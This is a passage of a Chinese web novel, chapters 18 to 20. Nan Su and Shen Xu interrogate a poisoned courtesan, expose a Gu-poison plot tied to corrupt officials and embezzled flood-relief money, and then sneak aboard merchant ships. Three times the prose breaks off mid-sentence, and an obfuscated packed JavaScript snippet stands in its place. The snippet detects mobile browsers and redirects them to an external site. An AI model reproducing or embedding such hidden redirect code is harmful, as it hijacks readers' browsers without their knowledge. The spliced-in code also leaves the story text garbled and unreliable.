这话说的未免有些恐怖,因为自南夙白日见到他是,他俨然是一具尸体了。 尸体是如何走到城外的呢? 南夙当时看到这个乞丐时便暗下决心,一定要将这个乞丐带出去。这偌大的杭州,没有人能发现在哪里死了一个乞丐。虽然现在的杭州城没什么人。 不过乞丐的身份也有好处,就是没人会在意,没人想去管他的死活,自然也没人会注意到他会去哪。 所以南夙用一枚蛊操纵这乞丐走出了城外,就在这冬日里连杂草都懒得露面的土坡上,结束他这不知是凄凉还是不幸的一生。 或许他也是有幸福的,不过个中幸运,南夙无从知晓。 她和安雀在这土坡旁挖了个坑,将乞丐给葬了。 将人挪进土坑前,南夙专门看了一下乞丐手臂上的疤,得出的结论是,这个疤确实是普通的烫伤,并不是她当时所猜测的出自某种灵诏蛊的反噬。而这个乞丐的死因,只是昨夜天凉,而他跪在雪中,无衣可添。 南夙觉得自己是被城外遇到的那支炼骨蛊给吓到了,所以在城中见到的一切,她都下意识往苗蛊上想,但这个乞丐给了她些许安慰。 杭州又下雪了,南夙想,明天,希望雪会小些。 因为天太冷了。 18. 第18章 城外三十里有片樟树林。 南夙与安雀埋了乞丐后便朝这边赶路。进了林子后,一路上有沈序他们留的记号,因此二人很快便走出了樟树林,见到了沈序所说的那座茅屋。 一靠近茅屋,南夙便知晓此处埋伏着人,但二人径直进了屋子也没人出来拦,想来是沈序提前打过招呼。 门“吱呀”一声响起。 屋内的人正坐在桌前讨论着事,听见开门声,一齐转过头来。 沈序今日一日未见南夙,说不担心都是假的。虽然他知道南夙的本事或许比他目前所看到的还要大,但毕竟他们是在他人的地盘,说不准会遇到什么无法解决的麻烦。 今日他本想留在城中等南夙她们一起出城,但情况紧急,为了不打乱计划,他们只能先行。但这一日,他的精神始终都紧绷着,心中也不安稳。 只是这忧虑究竟从何而来,连他自己也不知道。最终他只能归结为一种责任。毕竟南夙是跟着他一起出来的,若是出了什么事,别说父亲母亲不会放过他,就是他自己也愧悔无地。 于是推门声一响,他便火速转头。见他昨日放在南夙枕边的长刃此刻正挂在她的腰间,而南夙本人衣冠整洁,精神尚佳,他才安下心来。 南夙一一与他们打了招呼,没有过多的寒暄,径直走到沈序旁边坐下,待安雀落座,便开始讲述今日所遇之事与她的猜测。 半柱香后。 南夙说干了嘴巴,安雀很有眼力见地给她递了杯水,南夙一把接过呼噜呼噜往嘴里灌。 几人也没说话,待她缓过来一些后沈序才缓缓启唇:“昨夜我与韩砚先一步回到三十六客栈。如你说的一般,我们发现,城中人的神色与行为都很怪异……” 安顿好南夙后,因着有安雀照顾她,沈序便打算与韩砚先一步回三十六客栈与江陌和叶燃汇合。他们二人被沈序派去盯着商船,并不知沈序他们遭遇的事。若是回客栈后没寻到他们,万一莽撞出来寻人,打草惊蛇就不好了。 沈序想着,嘱咐安雀照顾好南夙后,便与韩砚一同出了客栈。 不料一出来,沈序就发现,不用担心江陌二人莽撞了,因为他们已经被人盯上了。 刚一出客栈,沈序便觉得街道的氛围怪异。白日里虽也萧条,但商户铺子也开着些,也有人在街道行走。但刚一入了夜,整座城像是一瞬间被吞进了这雾霭中。太安静了,每家每户都将门窗关得紧紧的,偶有一两间房屋泄了几点光亮出来,却也只像是大雾里提灯,模糊一片。 避免打草惊蛇,沈序一行人自入城以来各处行事都小心翼翼。因此二人是悄然自客栈后门走的。 韩砚虽生在皇宫中,人却没什么心眼子。作为四皇子,皇帝自然是对他期望甚高。奈何韩砚是只扶不起的阿斗,是敷上了墙也得被扒下来的烂泥,他实在无甚志向。不慕名利,但求一碗饭。 他还小时,皇帝也是各种讲师武者都找进宫,专门指导一众皇子,其余皇子就不说了。总之三个月过后,皇帝终于接受了他这四儿子是只破碗,连捏他的泥都是掺了沙子的,从此便将韩砚弃之一旁,随他去了。 这一放手,便让韩砚寻到了出宫的机会。 沈序第一次见他时,他正被一个山匪头子捏在手里,身体瑟瑟发抖,嘴里说着求饶的话。救下他后,韩砚觉得实在憋屈,不是因为他作为皇子却被区区一个山匪捏在手里束手无策。而是别人打了他,他想还手打不过就算了,居然连跑也没跑过。 打那以后,韩砚决定,一定要练就一身好本事。 额——逃跑的本事。 这样下次再遇到山匪,他一定在山匪面前吐着舌做着鬼脸,然后冲那个山匪大喊:“你有本事就来抓小爷呀。” 主意是有了,谁能教他逃跑的本事呢? 十四岁的韩砚躺在院中,一只手揪着被雨打弯的海棠花,一边思考着这京城中有谁能够教他本事。 唉! 有了。 韩砚两手一拍,脑中闪过沈序救他时的飒爽英姿,当即寻了那对他早已失望透顶的父皇,恳求父皇能让镇北侯之子沈序来教他武功。 景帝身坐高位,望着底下跪着的那灯盏无油——枉费心的韩砚,听他一番话,仿若枯木逢春——又发芽…… 发早了。 三个月后,忙于政务的景帝突然想起了他那破碗儿子,听下人说他近日里很是努力,倍感欣慰,于是便突发奇想去关心关心韩砚,也算是聊表心意。 谁料一只脚刚踏进韩砚的寝殿,下一秒,一颗粉嫩的蜜桃便向他飞来,幸好景帝也并不是个白面书生,年轻时也是从军营一步步爬上来的,几乎在那桃子向他袭来的瞬间,他便脚尖一点,闪到了一边。 原本正在树上美滋滋享受的韩砚大惊失色,立马翻身下地,五体投地。他原本以为来的是沈序,便想逗他师傅玩来着。 皇帝见状心有怒气,以为韩砚还如往常一般冥顽不灵、不学无术。但秉承着教育孩子应当春风化雨、循循善诱,便耐着性子问韩砚这些天都学了些什么。 韩砚一看,父皇居然没生气,立马来了精神,将这些天沈序教他的东西都展示给景帝看。 然后景帝就得到了一只能上树会爬墙的猴儿子。 景帝:“……” 算了,景帝安慰自己,至少会了点轻功。以后出门就算打不过,好歹还能跑。 于是景帝的春芽又发起来了。 那时韩砚不过十四岁,初学轻功便能做到上树上房都毫不胆怯。沈序见他是个好苗子,便将自己一身的轻功本事都教给了他。 别的他也学不会。 而韩砚也没辜负他的期望,短短几月,便将他所教的东西学得炉火纯青,甚至还自己悟出了不少道理。 现下他的轻功在整个大景也算是数一数二的了。 只要二人并肩而行,韩砚就有说不完的话要讲给他听。发现了什么深宫秘事,看了本奇闻异录,只要有机会,他都要逮着机会说给沈序听。若是没有可说的,便将沈序当年教他轻功时的那些回忆翻出来讲。 总之不论讲什么,他的嘴就是停不住。沈序也只是默默听着,不会打断他。 然而此刻身边的韩砚却噤了声。 两人刚走至后巷拐角,沈序还在默默观察着城中怪异之处,却听上一秒还在叽叽喳喳的小砚子突然安静下来。 沈序立马意识到什么。 两人相互使了一个眼神。 下一秒,只听得檐角的铜铃兀自轻响,荡碎在这万籁俱寂的后巷中。 不是风动。 韩砚的身影自巷中消失,在黑夜里凭空拔起,轻巧地落在青瓦上。而此时,一个正卧趴在屋脊上的,大耳憨厚的跟踪者并未发现危机的到来,他正全神贯注地盯着巷中的人看,却见那巷中的其中一人就这样凭空在他眼前消失。 见了鬼了! 那人怒骂一句,正欲小心起身观察。下一刻,韩砚已然到其身后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那些人应当是在花坊中没找到人,正在争论着要不要下水去找,但寒冬河水透骨,没几人能受得了。 几人互相推辞,均不肯下水,反倒给了沈序机会。 他走到岸边,借着暗色与树木掩住了身形,便往水里扔了见女子的外裙,那颜色与形制与红雾所穿的并无二样。 待衣裙湿透,他便躲回了林中,直到那几人发现这衣裙,互相说着红雾姑娘多半是掉下了水,救不回来了。 然后一行人便拿着衣裙回去交差了。 “他们就这么回去了?”韩砚惊讶,“这也太不负责了。” “是。”沈序点头,“但他们的不负责反而给了我们机会。” 沈序这边所遇到的倒是与南夙她们差不多,都是有人跟踪。相比他们,江陌他们就幸运得多,他们二人没去醉春楼,也没有进入到幕后人的视野中,相对于南夙她们,会好行动一些。 眼下所有的消息都已经共通完,只需要做下一步计划了。 沈序却在这时站起身来,面朝南夙,“走吧,与我一道去审红雾。” “啊?”南夙震惊,“你们出城这么久还没审吗?” 沈序双手抱胸,冲南夙一挑眉,“上次不是说我故意不让你审人?这次自己去审。” “嗷嗷。”南夙乖乖点头,听沈序这么一说,倒是没什么想法,沈序将她以前的抱怨放在心上她很开心,她撩着裙摆站起身来,对上沈序的视线,“走吧,我和你一起审。” 19. 真相 红雾被暂时安置在茅屋边上的一间小屋内。 南夙推开木门走进屋内。红雾就坐在靠窗的床上,穿着的依然是昨夜那套衣裙,头发松松挽着,露出几分苍白却艳丽的侧脸。她听见动静,肩膀几不可察地僵了一下,并未回头。 沈序并未虐待她,为她备上了每一顿膳食,但现下那些东西都被扔在了桌上,没有动过的样子。显然眼前人已经很久未进过食了。 “姑娘。”南夙率先开口,声音放得轻缓。 红雾这才慢慢转过头,目光扫过南夙,却是疑惑了一瞬,直到看见随后进来的沈序时,她才反应过来南夙是昨夜落水那人。 南夙见她的瞳仁深处瞬间结起一层冰壳般的戒备与……或许是恨意吗?那恨意并不尖锐,却沉甸甸的,带着点看透世情的麻木。 “你是女子?”红雾先是转头看着南夙,苍白的嘴唇翕张。 南夙点点头,“很显然不是吗?” 红雾一听她的回答,猛地激动起来,她剧烈咳嗽几下,那模样倒叫人以为她不久人世一般。 她颤抖着身子,咳声空荡荡的,语气却是气愤至极,“既是如此,你为何与他们为虎作伥,残害姐妹们?” 南夙只捕捉到她话中的他们,未来得及细想,便见红雾咳嗽更剧烈起来。她顿时将审问一事抛之脑后,上前一步扶住红雾摇摇欲坠的身子,将手搭在她的脉上。 红雾厌恶地想躲开她的手,但她此刻太虚弱,哪里有力气与南夙争,只在南夙跟前晃了晃,便被压制住了。 南夙只是将手轻轻往她腕上一搭,心下一惊,立马转头对沈序说:“她服了毒,去叫叶燃来。” 仿佛是为了验证她的说辞一般,下一秒,红雾一口黑血吐出,泼在石板上,失了力般往前倒去。 “红雾姑娘!”南夙立即将她搂进怀里,两指封了她的心脉要穴。 沈序已经出门去叫叶燃。 南夙趁机将方才所想的话讲给她听,她语气温柔,缓缓说道:“红雾姑娘,我不知道你说的他们是谁,但我向你保证,我们与你口中的他们绝非一丘之貉。我们是奉命来杭州调查杭州水患一事的,方才出去那位乃是镇北侯的世子,现下任大理寺少卿。我……我是他的妻子,也就是你们说的那位灵诏的公主。我们来这里,绝对不是为了残害你们。我们找你,只是想从你这里知道一些关于城里面的事,比如柳月姑娘的死……” 说到这里,怀中的红雾轻轻扭动了一下,喉中发出了一声幼崽般的呜咽。一滴热泪落在南夙的手上,她霎时一愣,但立刻狠下心来,继续说道。 “柳月姑娘的死是因为有人给她下了蛊,她是被人谋杀的。还有醉春楼那些不见了的姐姐妹妹们,我虽然不知道她们在哪里,但我知道她们也是被人下了蛊。杭州城内死了许多人,一些人死于水患,剩下的一部分,便是死于蛊,尤其,尤其是像醉春楼的姐姐妹妹们一样的女子。你应该也知道,她们的死并不简单吧。” 南夙说着说着也哽咽起来,但她还是坚决地说完了最后一句话,“我可以救她们,你可以相信我吗?” 南夙话音刚落,沈序与叶燃匆匆进了门。南夙拥着红雾,将她轻轻放躺在床上,正欲给叶燃腾位置,手指却被轻轻牵住了。 红雾抓着她的手不让她走。南夙转头看她,见红雾早已泪流满面。她一日未用膳,此时又毒发,再哭上一场,早已脱了力。但此刻抓着她的手竟叫南夙一时无法甩开。 叶燃见状,说道:“夫人让她牵着吧。” 于是南夙便没松手,牵着红雾的手让叶燃给她搭脉。 “毒已深。”叶燃语气平静,像是对这种情况早已司空见惯。 南夙未来得及问他有什么办法,便见他收回手,从一旁的医箱中拿出了一个针囊,抽出了一支针,“属下要施针逼毒,烦请主上回避。” 果然是人狠话不多。 沈序听话地迈出屋子带上了房门。 南夙坐在一旁,眼神盯着叶燃手中的银针,心下紧张。 却听红雾虚弱的声音响起,她问:“你方才所说的蛊是什么?” 南夙低头望了她一眼,意识到她是在和自己对话,想来是方才她的一番话起了作用。虽然她的本意也是想对红雾动之以情晓之以理,但很显然,她讲着讲着,自己动了情了。 “你记得我说我是灵诏国的公主吗?”南夙并未直接回答她,而是以自己先开了头,“我们的生活与你们很不同,我自草野长大,从小就学习武功,但我不会针线刺绣,也做不到寻常女子的知书达理,不过我生活得很高兴。我还有一个姐妹,叫做安雀,等你好了,我将她介绍给你认识,她是一个胆大心细的女子,尤其喜欢同女子玩乐,尤其是你这种温柔的女子。” 正在施针的叶燃听到这话,抬头看了她一眼。 南夙却仿佛没发觉,嘴唇翕合,继续说道:“我方才说的蛊就是我家乡的一种……嗯……你可以当做是一种巫术,有很多种类。你的姐妹们所中的就是其中一味名为“蜃尘”的蛊,此蛊阴损,就是我们灵诏人也是被严厉禁止使用的。至于为什么会出现在杭州,我不知道。但是我方才对你说的,我有办法救她们绝对不是欺骗你。只要……只要她们仍有一息尚存。” “谢谢。” 南夙又问:“那你可以告诉我他们是谁?又为什么会给你们下蛊吗?” 红雾望着南夙的眼睛,思绪缓缓飘回到杭州那不见天日的日子,悲鸣与惨叫似乎仍在她耳边回荡。 她的眼神恍惚了许久,缓缓开口:“去岁杭州水患,淹死了许多人。侥幸活下来的,又有不少染了瘟疫。城里的大夫个个束手无策。就在这危急关头,一个不速之客出现在城中,他自称是来自南边的医者,有办法治疫。刺史大人无计可施,见城中百姓一个个死去,只能让他试试。那医者将感染了瘟疫的人都转移到了城郊隔离起来,不出月余,竟传来瘟疫已清的好消息。当时满城欢腾,皆称他为神医。谁料欢喜还未退,城郊突然逃回一个浑身是血的汉子,颤声说外面的人全死了,死状惨烈。接着,那人便在全城百姓的目光下突然暴毙而亡。” “那这人的死法与其他人一样吗?”南夙这时突然问道。 红雾躺着左右轻摇了下头,“据后来去城郊的人所说,不一样。” 南夙一听到这里便知道,这位医者就是那下蛊的凶手。他是借医治瘟疫的由头来试蛊。但听红雾的说法,这人种下的蜃尘蛊是在一夜之间全部死亡。说明这人炼蛊的水平没那么高,要么就是练蛊用的虫子不对,总之这一批蜃尘蛊是他所无法控制的。想到这里,南夙又发现一个问题。得瘟疫的人如此之多,这位医者是如何再如此短的时间内找到这么多虫子并炼成蛊的? 他一定是有备而来。或者说,他早就将杭州视为他的囊中之物。水患只是给了他一个趁机而入的机会罢了。 “后来呢?” “所有人都以为这些人是因为瘟疫而死,我虽然不懂,却也知道,瘟疫怎么会让人死得血肉模糊、面目全非。恰好这时,那神医不见了踪影,所有人都知道这事与那位神医脱不了干系,可大家那时太害怕了,瘟疫是最好也是最能让人在当时那种情况下所能接受的理由。自此以后,整座杭州城如临大敌,白日里街市冷清,只有胆大的还敢出门;一入夜,家家门户紧闭,邻里断绝来往。都以为如此便能避开灾祸。但没过多久,祸事又起,这次出事的,是我的小姐,醉春楼的头牌——柳月。” 红雾突然剧烈咳嗽起来,叶燃施针的手瞬间停滞,南夙知晓是将这些事讲出来就是将所有的苦难又经历了一遍。她看着红雾那苍白无色的脸,顿觉心疼,但此时叶燃正在施针,不好动作。于是她将另一只空闲的手抚上红雾的头,轻轻拍了拍。 她也不催促,直到红雾缓过些劲来,继续说下去。 “小姐出事后,楼里上下吓得魂飞魄散,可几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144242|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日过去,发现这个病并不会传人,大家刚松了口气,又闻噩耗,刘员外家的千金一夜惨死闺中。此后便如野火燎原,城中女子一个接一个的死去,个个面目尽毁,死状可怖。” 南夙一听便知,这时候的蛊已经下在胭脂里了。 “醉春楼一夜之间死了好多姐妹,余下的也被匆匆遣散。人人都说这是水患引来的天灾,只有我知道不是。” “小姐跳楼的前一晚,突然说要给我赎了身遣我出去,可我不愿意离开小姐,哭着求小姐别赶我走,小姐握着我的手对我说……她说,是上头的人要我们死,我们反抗不了的。她将所有财产都留给了我,可是她自己,却死得那样惨。” 说到此处,她已泣不成声,泪流满面。南夙感受着她越来越颤抖的身子,一时不知该如何出口安慰,又怕她发抖会影响施针,正想开口,红雾突然勾起身子呕出口血来。 接着,便见叶燃将银针收回。 “夫人,毒解了。但这位姑娘体内尚有余毒,属下去煎药,服过几次便没大碍了。” 南夙点点头,让他下去了。 屋内安静下来,红雾强撑着说了这么久的话,南夙担心她受不住,便轻拍着她的肩,哄她睡觉。 失去意识前,红雾听到耳边那句斩钉截铁的承诺。南夙说:“我定为你们讨回公道。” 待红雾睡熟,南夙才将手收回,安雀烧了热水,两人为红雾擦了身子又换了身衣裳,见人没什么大碍,才回了茅屋中。 方才叶燃也是听了全程,出来后便先将这些事简单的给其他几人说了。 此时他们已经知晓了杭州城中所有的事。 红雾姑娘所说的事至少都是一个月之前发生的,但前天晚上南夙和沈序在鬼宅中见到的炼蛊幼虫却不足半月,因此南夙推测这位装神弄鬼的神医必然还在杭州城中,那批幼虫应当是炼蛊他的试验品,毕竟据红雾所说,此人练蛊的本事不怎么样,第一批蜃尘蛊虽然造成了极大的伤亡,但整体却是失败的。可是紧接着,第二批蜃尘蛊出现了,这一次被掺在了胭脂里。而这一批,显然是成功的。 他如何能在这么短的时间内重新炼出如此之多的蜃尘蛊,何人给他提供了帮助? 南夙脑中突然闪过一个人,她忙问道:“城南的商船是何时出发?” 江陌道:“明日寅时。” 寅时,这么早出船,天都看不清,船上必然有见不得人的东西。 不过这个消息却让南夙更加确认了自己的猜测。 这位神医背后的人恐怕就是这位刺史大人了。 她将猜测告诉众人,江陌问道:“如何见得?” 南夙未来得及解释,坐在身旁的沈序突然开口:“你认为一城刺史为何敢将百姓的性命交到一个连来处都不知道的人身上。” “难道是早有预谋?”韩砚惊讶。 沈序却摇头,说道:“别的事可以预料,水患与瘟疫如何预料?他们应当是在瘟疫后才达成的合作。” “没错!”南夙有力地点了下头,表示这就是她想说的。 安雀又插嘴问道:“那他们为什么要合作呢?难道就为了弄死这帮得了瘟疫的人?” “自然是有利可图。”南夙接过话头,“刺史想要钱,这个装神弄鬼的神医想要人,各取所需罢了。” “这么说,刺史真的贪了水患的灾款。” “他没有那么大的胃口。”沈序拇指抹过茶杯口,想到那夜在云寂寺看到的账册,眸下暗了暗,“他上头一定还有人。” “大哥知道是谁吗?”韩砚一听是贪饷的事,非常气气愤。 小皇子从小长在深宫,第一次听说为官者不为百姓考虑,反而在百姓身上宰割的。他气不打一处来,势要抓住这幕后之人,还百姓一个公道。 可沈序却摇了摇头,郑平那里他并未审出结果。贪饷一事只怕牵连极深。 “明日寅时,我们登船。” 20. 飞云舸 寅时登船,此时已经亥时了,距离寅时还剩下四个时辰。 南夙趁着还有时间,又去了趟红雾的屋子,让人仔细看着她,醒了就告诉她,她现在自由了,想去哪都可以,若是不知道去哪,便在此处等她们回来,她会带她回京城。 她出了屋子,轻轻带上了门。一转身却见一个颀长的身影站在离她三步处,静静地看着她。 “怎么不去休息?” 南夙走向他,抬手轻柔地掸了掸落在他肩上的细雪,可是杭州的雪不比京城,落在人身上,熬不过片刻光景,便化成了水,沾湿了南夙的手指。 沈序站着没动,眼神却跟着南夙的动作移动,“来看看你。” 南夙没说话,只点点头。 他们今日一天没见,晚些时候见上了。聊的却都是杭州的事。确实感觉好久没说话了。 两人并肩着慢慢走。 “今日受伤没?”沈序突然问道。 虽然南夙精神不错,但毕竟不在他眼下,他不放心,得确认一下。 南夙还是不说话,摇摇头。也没管沈序能不能看到。 沈序自然是看到了,得了她的回答,放下心来。 没走两步,他又开口:“今日问到灵诏古籍的下落了吗?” 灵诏古籍? 南夙一愣,她今日问红雾的时候全然忘了这事啊。她啥也没问到。 沈序一见她的表情便知她忘了问,他不由得低头一笑,语气温柔:“怎么不问?” 南夙:“额……” 我忘了啊! 但是她挠挠脑袋。义正言辞地解释道:“我觉得吧,眼下要紧的是解决杭州城的问题,我的古籍可以先不急,不急。” “原来是这样啊。”沈序配合地点点头,故意拉长着尾音。 南夙见他揶揄自己,恼羞成怒,决定也要噎回去,叫沈序也尝尝这滋味,于是她歪着头看向沈序,表情不屑,“沈序,你今夜莫不是吃错药了?突然这么温柔,难道是有人给你下蛊了?” 沈序失笑,“有没有人给我下蛊你还不知道?” 南夙:“……” 也是。但她就是觉得沈序今日状态不对,南夙突然想起昨夜沈序刚发现她眼睛时似乎也是这样。 哦,懂了。 沈序一定是心疼她了。 好吧,原谅沈序的挑衅了。 沈序又问:“明日敢上船吗?” 南夙:“……” 一直在挑衅我。 “别误会。”赶在南夙发威之前解释道,“我只是见你怕水,担心明日上船你会不适应。” 南夙翘到一半的尾巴咻的一下缩了回去。原来沈序注意到了,她明明每次上船都掩饰得很好的才对。 感动。 感动死了。 沈序正色看她。 南夙也没有逞强,只是说:“我可能会有一点不适应,但是你放心吧,我能克服,不会勉强自己也不会耽误计划。” 说完,她双眼放光般盯着沈序,想表达自己说的都是真心的,绝无半分虚假。沈序看了她一会,突然歪头咳嗽了两声,没让南夙看见他偷笑的嘴角。 他在心里暗想,怎么这么可爱。 南夙却以为他是生病了,忙伸手去摸他的额头,但手伸到一半,就被劫下来。 沈序握着她的手腕,转头看她;“做什么?” 南夙;“你怎么咳嗽了,是不是生病了?” “不是。”沈序否认,“只是呛了一下,没有生病。” “好吧。” 空气安静下来,两人就这么并肩无声地走着。直到快要走近樟树林,沈序停了步,说道:“回去吧,去休息一会。” 今日所经历的事确实多了些,南夙虽不怎么累,但想着马上就要去干活了,休息一下也挺好的。 “走吧。” 他们一齐转了身,往茅屋走去。 南夙安静地走着,眼睛却像闲不住一般在眼眶内轱辘转着,她左看看,又看看,再上看看,下看看。这一看就看出了思路。 红雾睡的屋子此刻正在她视线正前方,她不免又想起了她的那些遭遇。还有柳月小姐。 世态炎凉,她们在世人口中被称为妓子、风尘女子。可今日,南夙却见到了她们的情深义重、侠肝义胆。 等等—— 妓子。 仿若一根银针突然扎在南夙的皮肤上,南夙吃痛,却发现头脑一下子清晰起来,她的思绪像一团缠绕的麻线,此刻被缓缓的牵开。一段对话就藏在这团麻线中,麻线一理清,她便听那对话清晰地在她脑中回放。 “陈姐姐,求您再向侯爷美言几句。犬子这事也不是什么大事,就是死了个妓子……” “妹妹可知,上月浙江按察使刚因‘虐杀民女’被革职?” “是是是,妹妹都知道。但以侯爷的能力,一定能让我儿没事的吧?” “哼,这就要看你们护安侯府的诚意了。” “是,我们家老爷都安排妥当了,这批运来的东西,永昌侯府拿大头,姐姐看这样行吗?” 这批运来的东西,永昌侯府,就是死了一个妓子…… 所以那个被死了的妓子,是柳月吗? 那这刺史府后面的人,会是永昌侯府和护安侯府吗?可是沈序说,他审问郑平时,郑平承认幕后贪饷之人是户部侍郎尤谭。这两者究竟有没有关系。 “沈序,我……”南夙激动的抬头,想将这件事告诉沈序。却发现沈序脸色难看得厉害。 南夙这时才发现,她方才想得入神,不自觉便把脑中所想的东西呢喃了出来。 而沈序也听到了。 “这些话你从何处听来?” 南夙看得出沈序现在情绪不好,可问南夙时的语气却不凶。 “我去给阿褚开训蒙会时在书院附近听到的。”南夙回道,又问他,“沈序,你觉得他们和杭州的事有关系吗?” 沈序没有直接说有没有,只是说:“上了船便知道了。” “好了,不想这些,先去休息。”沈序揉了揉她的脑袋,轻声说道。 南夙这才发现他们已经走到了屋前。这座茅草屋内有三个房间外加一个堂屋,他们白日里讨论事情都是在堂屋内,现下要休息,自然要分开。南夙还是照例与安雀一间房。 城南码头。 雾是这里的主宰。不是那种山间轻盈的、流动的云岚,而是贴着江面生出的、湿冷浓白的郁气。他们一团团、一簇簇,在船舷间缠绕,将人影掩在这朦胧之中。 山雨欲来。 三艘商船如蛰伏的巨兽隐于雾中,帆未张,灯未明,只有江水扑打船身的声响,在寂静中格外清晰。中间的那艘船船体宽阔丰满,体量巨大。长约30米,载重可达千石,被称作广利舶。其余两艘较小的船紧紧挨在广利舶的两侧,左边那艘叫作飞云舸,右边那艘叫作宝顺帆。仿佛时刻保护着它。 暗处,六双眼睛正穿透浓雾,观察着码头上的动静。 “寅时三刻起航,还有一炷香的时间。”江陌声音低沉。 “护卫的人数比昨日增了一倍。”叶燃在一旁补充道。 沈序给每人递了一个竹哨,嘱咐道:“按计划行事。” 按照计划,他们六人分为三组,两两一组,分别潜入这三艘船。 接过哨子,南夙几人正打算走。 却听韩砚在身后用气音叫住他们:“等等等等。” 几人转身疑惑地看着他,江陌问:“四皇子还有什么事?” “行动前先互相鼓励一下嘛。”韩砚回答。一边伸出右手来,放在众人面前。 他们六人中最大的是江陌,二十岁。最小的是南夙,还要一段时日才十六。正是意气风发的年岁。因此韩砚的手一伸,立刻就带动了众人的情绪。 南夙第一个将手搭上韩砚的手背。 安雀向来是小姐是天、小姐是地。天大地大,小姐最大。小姐往哪走我往哪走,小姐上山我上山,小姐跳河——这可不兴跳啊。南夙刚伸手,安雀立马跟着将手搭上。接着江陌与叶燃也伸出了手。 就剩下沈序了。 五人目光同时投向沈序,其中韩砚更是扭着身子,目光那叫一个烈火灼灼。沈序嫌弃地瞥了一下嘴,觉得韩砚要扭成捻头(麻花)了,可是望着众人的手,像一座小山一样交叠着,沈序发现,他一点也不觉得幼稚。 他终于伸出右手,轻轻放在那堆小山上,皮肤压着皮肤,体温混着体温。韩砚无声的一句“哦耶”喊出,给这寂静寒冷的冬夜增添了许多的温暖。 更漏终于滴到它应当到的地方。 广利舶首楼甲板上堆满了樟木箱,箱子上贴了写着“苏杭绸缎”、“越窑贡瓷”等货物的字条。 无人在意的角落,两个身影灵活地落在甲板暗处。其中一人比另一人高不少,站在一起时较矮一些的那个只到高一些的那人的下巴处。从身形上看,能看出是一男一女。 未免被发现,两人没有点灯,只见高一点的那个从怀里掏出一个火折子,轻轻一吹,凑近看那樟木箱上贴着的纸条。 “果然如世子爷所说,这船上做了掩饰,放的都是寻常货物,看不出什么问题。”只听那女子突然开口,却是安雀的声音。 身旁那人接话:“看来我们的猜测都是对的。他们不敢讲东西放的如此显眼,眼下就看大哥和嫂嫂那边上的是不是正确的船了。” 韩砚难得正经一回,表情凝重,轻声说道:“我们先去将船长拿了,等大哥他们的消息。” 半时辰前,江陌将整个商船的队伍情况介绍给他们,并且按照两人一组分组。这广利舶乃是闻名天下的大舶,因其名为广利——天下熙熙,皆为利来;天下攘攘,皆为利往,与其多年来运送货物从未有失的战绩,许多商人都爱好将自家的商品通过广利舶运往大景各地,杭州运送商品货物向来也是由其来运,因为其体型巨大,众人一致认为被贪污的饷银一定就在这天下第一商船上。 据江陌与叶燃所打探,这次起航的共有三艘商船,广利舶是他们推测的运送饷银的那艘,那么不可避免,这艘船的护卫一定会更多。据江陌所说,他们当时见到这三艘船时,广利舶甲板上的人多入牛毛,比另外两艘船上的护卫多了一倍不止。 一炷香前,沈序他们所看到的也确实如江陌所说。然而就在他们分好工即将行动时,沈序却发现了广利舶上的不对劲。广 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144243|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利舶与飞云舸之间有一块极为隐蔽的木板,在黑夜之中更看不真切。沈序能够发现,还是因为他敏锐地察觉了广利舶甲板上的人突然无声无息的少了几个。 虽说甲板上人多,少几个也不明显,但沈序当时注意到一个吊梢眼长胡子的男人突然消失在了甲板上,再一看,其实有好几个都不见了。沈序再一仔细观察,就察觉到了这异样。 于是他们当即改变了计划,由沈序和南夙代替安雀和韩砚前往飞云舸。 此时的沈序与南夙,正轻巧地落在飞云舸的甲板上。甲板上有不同的护卫来回巡视着。 他们二人观察了片刻,趁护卫换班时偷偷溜到一旁,顺着竹梯进了船体内部。 南夙被这复杂的仓储体系震撼。 他们二人将身形隐在货舱中的箱子后,正有人在二层舱间来回穿梭,手里提着油灯,似在检查舱中的货物。 一个少年走到南夙躲藏的箱子前,眼看就要发现南夙。 说时迟那时快,南夙突然闪出箱后,那少年被突然出现的人吓了一跳,还未来得及叫出声。 “嗡”的一声巨响在他脑中震颤开来。 南夙一记手刀将他打晕,将他拉到了箱子后。 再一转头,沈序手中也抓着个人,同样一记手刀,同方才那人一起去见了天帝他老人家。 南夙与他对视一眼,两人一不做二不休,将昏死在地上的两人的外袍扒了,还没忘将其塞进角落。 瞬间,船舱中多出了一高一矮两个护卫,但再一数船舱中的人数,竟毫无差错。 没有人发现他们身旁的人已经被掉了包。 这一批检查货物的人很快就检查完出了船舱,没有人发现队列末尾掉队的俩人。 南夙与沈序打算到下面一层去,走至门口时却发现那里守卫森严。不好暴露身份,硬闯又不知别人实力,二人只得放弃,转身上了甲板。 刚一上甲板,二人就被人叫住。 二人停步,转身见一个似是护卫长的男人正朝他们走来。沈序低着头,压着声音问道:“大人有何吩咐?” 